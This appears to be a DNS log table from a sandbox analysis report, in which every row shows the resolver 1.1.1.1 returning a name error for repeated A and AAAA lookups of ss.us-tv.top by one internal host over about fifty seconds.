Nov 2, 2024 04:01:03.329113960 CET	1.1.1.1	192.168.2.13	0xa811	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:04.346424103 CET	1.1.1.1	192.168.2.13	0x67e4	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:04.346519947 CET	1.1.1.1	192.168.2.13	0x2ae3	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:04.490729094 CET	1.1.1.1	192.168.2.13	0x2ae3	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:05.508244038 CET	1.1.1.1	192.168.2.13	0xe424	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:05.508444071 CET	1.1.1.1	192.168.2.13	0xb694	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:05.514987946 CET	1.1.1.1	192.168.2.13	0xe424	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:05.514997959 CET	1.1.1.1	192.168.2.13	0xb694	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:06.535720110 CET	1.1.1.1	192.168.2.13	0x5a79	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:06.536385059 CET	1.1.1.1	192.168.2.13	0x1448	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:06.542669058 CET	1.1.1.1	192.168.2.13	0x5a79	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:06.670914888 CET	1.1.1.1	192.168.2.13	0x1448	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:07.688561916 CET	1.1.1.1	192.168.2.13	0x199f	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:07.690301895 CET	1.1.1.1	192.168.2.13	0x835f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:07.695188046 CET	1.1.1.1	192.168.2.13	0x199f	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:07.696791887 CET	1.1.1.1	192.168.2.13	0x835f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:08.717412949 CET	1.1.1.1	192.168.2.13	0x9359	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:08.720158100 CET	1.1.1.1	192.168.2.13	0x4006	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:08.724251032 CET	1.1.1.1	192.168.2.13	0x9359	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:08.726696014 CET	1.1.1.1	192.168.2.13	0x4006	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:09.750195980 CET	1.1.1.1	192.168.2.13	0x5948	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:09.750535011 CET	1.1.1.1	192.168.2.13	0x3929	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:09.757165909 CET	1.1.1.1	192.168.2.13	0x5948	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:09.757296085 CET	1.1.1.1	192.168.2.13	0x3929	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:10.779546976 CET	1.1.1.1	192.168.2.13	0xd44c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:10.780410051 CET	1.1.1.1	192.168.2.13	0x3e2d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:10.786277056 CET	1.1.1.1	192.168.2.13	0xd44c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:10.787221909 CET	1.1.1.1	192.168.2.13	0x3e2d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:11.804256916 CET	1.1.1.1	192.168.2.13	0xe571	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:11.805402040 CET	1.1.1.1	192.168.2.13	0xdfd7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:11.812396049 CET	1.1.1.1	192.168.2.13	0xe571	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:11.941391945 CET	1.1.1.1	192.168.2.13	0xdfd7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:12.959252119 CET	1.1.1.1	192.168.2.13	0x8db0	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:12.959383011 CET	1.1.1.1	192.168.2.13	0x83d9	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:12.967421055 CET	1.1.1.1	192.168.2.13	0x83d9	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:12.967545033 CET	1.1.1.1	192.168.2.13	0x8db0	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:13.982621908 CET	1.1.1.1	192.168.2.13	0x3496	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:13.983422041 CET	1.1.1.1	192.168.2.13	0x68d7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:13.990951061 CET	1.1.1.1	192.168.2.13	0x3496	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:13.991065979 CET	1.1.1.1	192.168.2.13	0x68d7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:15.008537054 CET	1.1.1.1	192.168.2.13	0x248d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:15.009866953 CET	1.1.1.1	192.168.2.13	0x7d62	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:15.016978025 CET	1.1.1.1	192.168.2.13	0x7d62	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:15.145137072 CET	1.1.1.1	192.168.2.13	0x248d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:16.160849094 CET	1.1.1.1	192.168.2.13	0x20cc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:16.169146061 CET	1.1.1.1	192.168.2.13	0x20cc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:16.245969057 CET	1.1.1.1	192.168.2.13	0x5d0b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:16.253431082 CET	1.1.1.1	192.168.2.13	0x5d0b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:17.268863916 CET	1.1.1.1	192.168.2.13	0xeeca	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:17.269047022 CET	1.1.1.1	192.168.2.13	0xdc22	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:17.275475025 CET	1.1.1.1	192.168.2.13	0xeeca	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:17.404349089 CET	1.1.1.1	192.168.2.13	0xdc22	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:18.420028925 CET	1.1.1.1	192.168.2.13	0xda67	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:18.423263073 CET	1.1.1.1	192.168.2.13	0x9d07	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:18.426732063 CET	1.1.1.1	192.168.2.13	0xda67	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:18.429766893 CET	1.1.1.1	192.168.2.13	0x9d07	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:19.446877956 CET	1.1.1.1	192.168.2.13	0xad98	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:19.447350025 CET	1.1.1.1	192.168.2.13	0x67ab	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:19.453589916 CET	1.1.1.1	192.168.2.13	0xad98	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:19.453808069 CET	1.1.1.1	192.168.2.13	0x67ab	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:20.475498915 CET	1.1.1.1	192.168.2.13	0x8910	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:20.476313114 CET	1.1.1.1	192.168.2.13	0x9e3c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:20.482119083 CET	1.1.1.1	192.168.2.13	0x8910	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:20.483105898 CET	1.1.1.1	192.168.2.13	0x9e3c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:21.589795113 CET	1.1.1.1	192.168.2.13	0x5e96	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:21.590437889 CET	1.1.1.1	192.168.2.13	0x8342	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:21.596446991 CET	1.1.1.1	192.168.2.13	0x5e96	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:21.597349882 CET	1.1.1.1	192.168.2.13	0x8342	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:22.615741968 CET	1.1.1.1	192.168.2.13	0xcd56	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:22.617039919 CET	1.1.1.1	192.168.2.13	0xfc23	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:22.622194052 CET	1.1.1.1	192.168.2.13	0xcd56	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:22.623560905 CET	1.1.1.1	192.168.2.13	0xfc23	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:23.644253016 CET	1.1.1.1	192.168.2.13	0x6f24	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:23.647949934 CET	1.1.1.1	192.168.2.13	0x9d04	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:23.651180029 CET	1.1.1.1	192.168.2.13	0x6f24	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:23.654644966 CET	1.1.1.1	192.168.2.13	0x9d04	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:24.667860985 CET	1.1.1.1	192.168.2.13	0x7474	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:24.668886900 CET	1.1.1.1	192.168.2.13	0xf83b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:24.674635887 CET	1.1.1.1	192.168.2.13	0x7474	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:24.675695896 CET	1.1.1.1	192.168.2.13	0xf83b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:25.697174072 CET	1.1.1.1	192.168.2.13	0xe7e4	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:25.700117111 CET	1.1.1.1	192.168.2.13	0xca2e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:25.708504915 CET	1.1.1.1	192.168.2.13	0xca2e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:25.834666014 CET	1.1.1.1	192.168.2.13	0xe7e4	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:26.859155893 CET	1.1.1.1	192.168.2.13	0x4380	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:26.859534025 CET	1.1.1.1	192.168.2.13	0x6de3	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:26.866877079 CET	1.1.1.1	192.168.2.13	0x6de3	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:26.866889000 CET	1.1.1.1	192.168.2.13	0x4380	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:27.888602972 CET	1.1.1.1	192.168.2.13	0x73ad	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:27.895729065 CET	1.1.1.1	192.168.2.13	0x73ad	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:27.968588114 CET	1.1.1.1	192.168.2.13	0xde8	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:27.975748062 CET	1.1.1.1	192.168.2.13	0xde8	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:28.993988991 CET	1.1.1.1	192.168.2.13	0x30a1	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:28.996638060 CET	1.1.1.1	192.168.2.13	0xfb7a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:29.000705957 CET	1.1.1.1	192.168.2.13	0x30a1	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:29.003633022 CET	1.1.1.1	192.168.2.13	0xfb7a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:30.024768114 CET	1.1.1.1	192.168.2.13	0x16df	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:30.027302027 CET	1.1.1.1	192.168.2.13	0x83dc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:30.031584024 CET	1.1.1.1	192.168.2.13	0x16df	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:30.034182072 CET	1.1.1.1	192.168.2.13	0x83dc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:31.053962946 CET	1.1.1.1	192.168.2.13	0x989b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:31.056545019 CET	1.1.1.1	192.168.2.13	0x590d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:31.060798883 CET	1.1.1.1	192.168.2.13	0x989b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:31.063549995 CET	1.1.1.1	192.168.2.13	0x590d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:32.077940941 CET	1.1.1.1	192.168.2.13	0xb465	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:32.079308033 CET	1.1.1.1	192.168.2.13	0x4611	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:32.084772110 CET	1.1.1.1	192.168.2.13	0xb465	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:32.086774111 CET	1.1.1.1	192.168.2.13	0x4611	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:33.105669975 CET	1.1.1.1	192.168.2.13	0xf0ec	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:33.106194019 CET	1.1.1.1	192.168.2.13	0xe845	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:33.112377882 CET	1.1.1.1	192.168.2.13	0xf0ec	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:33.112752914 CET	1.1.1.1	192.168.2.13	0xe845	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:34.126282930 CET	1.1.1.1	192.168.2.13	0x271d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:34.127346039 CET	1.1.1.1	192.168.2.13	0x9eda	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:34.133136034 CET	1.1.1.1	192.168.2.13	0x271d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:34.134036064 CET	1.1.1.1	192.168.2.13	0x9eda	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:35.147449017 CET	1.1.1.1	192.168.2.13	0x5b28	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:35.148441076 CET	1.1.1.1	192.168.2.13	0x4778	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:35.154292107 CET	1.1.1.1	192.168.2.13	0x5b28	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:35.155039072 CET	1.1.1.1	192.168.2.13	0x4778	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:36.169847012 CET	1.1.1.1	192.168.2.13	0x3ea4	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:36.174997091 CET	1.1.1.1	192.168.2.13	0x4e8c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:36.176493883 CET	1.1.1.1	192.168.2.13	0x3ea4	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:36.806293964 CET	1.1.1.1	192.168.2.13	0x4e8c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:37.825112104 CET	1.1.1.1	192.168.2.13	0x421c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:37.825193882 CET	1.1.1.1	192.168.2.13	0xc0c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:37.831919909 CET	1.1.1.1	192.168.2.13	0x421c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:37.831950903 CET	1.1.1.1	192.168.2.13	0xc0c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:38.848368883 CET	1.1.1.1	192.168.2.13	0x390a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:38.849777937 CET	1.1.1.1	192.168.2.13	0x3999	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:38.855051994 CET	1.1.1.1	192.168.2.13	0x390a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:38.856478930 CET	1.1.1.1	192.168.2.13	0x3999	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:39.874708891 CET	1.1.1.1	192.168.2.13	0x5a43	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:39.881597996 CET	1.1.1.1	192.168.2.13	0x5a43	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:39.882185936 CET	1.1.1.1	192.168.2.13	0x8746	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:39.889144897 CET	1.1.1.1	192.168.2.13	0x8746	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:40.905361891 CET	1.1.1.1	192.168.2.13	0xf4f2	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:40.906435966 CET	1.1.1.1	192.168.2.13	0x85fd	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:40.912344933 CET	1.1.1.1	192.168.2.13	0xf4f2	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:40.913041115 CET	1.1.1.1	192.168.2.13	0x85fd	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:41.928590059 CET	1.1.1.1	192.168.2.13	0xa4cb	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:41.930130959 CET	1.1.1.1	192.168.2.13	0x6227	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:41.935398102 CET	1.1.1.1	192.168.2.13	0xa4cb	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:41.936708927 CET	1.1.1.1	192.168.2.13	0x6227	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:42.957532883 CET	1.1.1.1	192.168.2.13	0xa3d9	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:42.961218119 CET	1.1.1.1	192.168.2.13	0xd3ae	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:42.964278936 CET	1.1.1.1	192.168.2.13	0xa3d9	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:42.968018055 CET	1.1.1.1	192.168.2.13	0xd3ae	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:43.986974001 CET	1.1.1.1	192.168.2.13	0x4188	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:43.993926048 CET	1.1.1.1	192.168.2.13	0x4188	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:44.070126057 CET	1.1.1.1	192.168.2.13	0xfd1d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:44.077301025 CET	1.1.1.1	192.168.2.13	0xfd1d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:45.091404915 CET	1.1.1.1	192.168.2.13	0x1aa6	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:45.092802048 CET	1.1.1.1	192.168.2.13	0xf43d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:45.097984076 CET	1.1.1.1	192.168.2.13	0x1aa6	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:45.228540897 CET	1.1.1.1	192.168.2.13	0xf43d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:46.247098923 CET	1.1.1.1	192.168.2.13	0x5c89	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:46.247291088 CET	1.1.1.1	192.168.2.13	0x96fc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:46.253916025 CET	1.1.1.1	192.168.2.13	0x96fc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:46.382420063 CET	1.1.1.1	192.168.2.13	0x5c89	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:47.404319048 CET	1.1.1.1	192.168.2.13	0x27e7	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:47.406296015 CET	1.1.1.1	192.168.2.13	0xdc73	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:47.411235094 CET	1.1.1.1	192.168.2.13	0x27e7	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:47.413062096 CET	1.1.1.1	192.168.2.13	0xdc73	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:48.433101892 CET	1.1.1.1	192.168.2.13	0x4901	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:48.435385942 CET	1.1.1.1	192.168.2.13	0xeb7e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:48.440403938 CET	1.1.1.1	192.168.2.13	0x4901	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:48.442343950 CET	1.1.1.1	192.168.2.13	0xeb7e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:49.460774899 CET	1.1.1.1	192.168.2.13	0x2797	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:49.461159945 CET	1.1.1.1	192.168.2.13	0xf762	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:49.467602015 CET	1.1.1.1	192.168.2.13	0x2797	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:49.467616081 CET	1.1.1.1	192.168.2.13	0xf762	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:50.485358953 CET	1.1.1.1	192.168.2.13	0x3b8b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:50.487035036 CET	1.1.1.1	192.168.2.13	0xa8e3	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:50.492996931 CET	1.1.1.1	192.168.2.13	0x3b8b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:50.494741917 CET	1.1.1.1	192.168.2.13	0xa8e3	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:51.510593891 CET	1.1.1.1	192.168.2.13	0x7cba	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:51.512022972 CET	1.1.1.1	192.168.2.13	0x3746	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:51.517127037 CET	1.1.1.1	192.168.2.13	0x7cba	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:51.518631935 CET	1.1.1.1	192.168.2.13	0x3746	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:52.534611940 CET	1.1.1.1	192.168.2.13	0x70a8	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:52.534642935 CET	1.1.1.1	192.168.2.13	0x852d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:52.541462898 CET	1.1.1.1	192.168.2.13	0x70a8	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:52.541507959 CET	1.1.1.1	192.168.2.13	0x852d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
